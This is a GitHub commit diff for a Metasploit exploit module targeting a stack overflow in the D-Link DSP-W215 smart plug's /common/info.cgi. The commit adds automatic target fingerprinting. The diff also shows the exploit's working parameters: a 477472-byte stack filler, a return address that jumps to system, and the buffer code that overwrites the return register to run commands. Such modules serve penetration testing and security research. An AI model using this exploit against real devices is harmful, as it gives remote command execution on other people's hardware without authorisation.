Skip to content

Commit f068006

Browse files
author
Michael Messner
committed
auto target
1 parent f89f47c commit f068006

File tree

1 file changed

+41
-5
lines changed

1 file changed

+41
-5
lines changed

modules/exploits/linux/http/dlink_dspw215_info_cgi_rop.rb

Lines changed: 41 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,12 @@ def initialize(info = {})
3535
],
3636
'Targets' =>
3737
[
38-
[ 'D-Link DSP-W215',
38+
#
39+
# Automatic targeting via fingerprinting
40+
#
41+
[ 'Automatic Targeting', { 'auto' => true } ],
42+
43+
[ 'D-Link DSP-W215 - v1.02',
3944
{
4045
'Offset' => 477472,
4146
'Ret' => "\x00\x40\x5C\xEC", # jump to system - my_cgi.cgi
@@ -52,20 +57,51 @@ def check
5257
'uri' => "/common/info.cgi",
5358
'method' => 'GET'
5459
})
55-
5660
if res && [200, 301, 302].include?(res.code)
57-
return Exploit::CheckCode::Detected
61+
62+
# trying to automatically detect a vulnerable device
63+
# I think there are other vulnerable devices out there
64+
# Todo: Check more devices and create some more targets
65+
if (target['auto'])
66+
if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
67+
68+
self.targets.each do |t|
69+
if (t.name =~ /DSP-W215.*1.02/) then
70+
@mytarget = t
71+
break
72+
end
73+
end
74+
end
75+
76+
print_status("#{peer} - Selected Target: #{@mytarget.name}")
77+
print_good("#{peer} - detected a vulnerable device")
78+
return Exploit::CheckCode::Detected
79+
80+
# no auto-targetting ... the user is responsible
81+
else
82+
print_good("#{peer} - detected a device with unknown exploitability ... trying to exploit")
83+
return Exploit::CheckCode::Detected
84+
end
5885
end
86+
5987
rescue ::Rex::ConnectionError
6088
return Exploit::CheckCode::Unknown
6189
end
6290

6391
Exploit::CheckCode::Unknown
6492
end
6593

94+
def target
95+
return @mytarget if @mytarget
96+
super
97+
end
98+
6699
def exploit
67100
print_status("#{peer} - Trying to access the vulnerable URL...")
68101

102+
# Use a copy of the target
103+
@mytarget = target
104+
69105
unless check == Exploit::CheckCode::Detected
70106
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
71107
end
@@ -78,8 +114,8 @@ def exploit
78114
end
79115

80116
def prepare_shellcode(cmd)
81-
buf = rand_text_alpha_upper(target['Offset']) # Stack filler
82-
buf << target['Ret'] # Overwrite $ra -> jump to system
117+
buf = rand_text_alpha_upper(@mytarget['Offset']) # Stack filler
118+
buf << @mytarget['Ret'] # Overwrite $ra -> jump to system
83119

84120
# la $t9, system
85121
# la $s1, 0x440000

0 commit comments

Comments
 (0)